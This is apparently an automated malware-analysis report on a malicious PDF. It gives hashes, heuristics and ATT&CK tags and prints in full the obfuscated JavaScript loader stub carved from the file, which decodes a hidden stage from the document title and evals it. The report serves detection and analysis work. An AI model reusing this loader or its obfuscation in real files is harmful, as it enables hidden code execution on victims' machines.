Malicious PDF — malware analysis report

Static analysis result for SHA-256 12eb3e8ff330bf2b…

MALICIOUS

PDF

44.9 KB First seen: 2013-05-17
MD5: 691436f92c727dfa2a5fe7eaeaacba17 SHA-1: f94f743468ba3415362c6a28dfa8775665cac315 SHA-256: 12eb3e8ff330bf2b787f5d945c140112447d43698a87d76a7632f68b9caccc82
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF contains obfuscated JavaScript, identified by multiple heuristics as a loader. The script attempts to reconstruct a string by parsing character codes from an array, ultimately aiming to download and execute a second-stage payload. The exact URL or payload could not be determined due to the obfuscation, but the intent is clear.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB0DF 469 bytes
SHA-256: 29e246079c6daf559341a4cd9bd41b673d92e0a9d2ecb918b3dd0e5756c09f60
Preview script
First 1,000 lines of the extracted script
jpow='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
a=["e","a","n","b","w",'v','r'];
e=(t,qwe)()[a[0]+a[5]+a[1]+(a,t[0])];
yye=e('ti'+'tle');
s=yye.substr(t.length + 8,3)+'str';
q=yye[s](1,(1,9));
oautv=e('S'+'tring.fro'+q);
q=yye[s](14).split('u');;
e('k=q.length');
for (i = 0; i != k; i+=2) {
	wcv = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	jpow += oautv(wcv);
}
e(jpow);

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